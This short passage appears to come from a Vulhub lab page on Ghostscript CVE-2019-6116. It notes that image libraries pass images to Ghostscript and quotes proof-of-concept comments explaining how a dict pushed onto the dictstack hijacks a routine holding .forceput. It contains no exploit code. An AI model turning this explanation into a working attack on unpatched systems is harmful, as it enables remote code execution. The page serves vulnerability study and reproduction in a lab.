https://vulhub.org/#/environments/ghostscript/CVE-2019-6116/

Loophole principle

GhostScript is used by many image processing libraries, such as ImageMagick, Python PIL, etc. by default, these libraries will distribute them to different processing methods according to the content of the image, including GhostScript.

% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
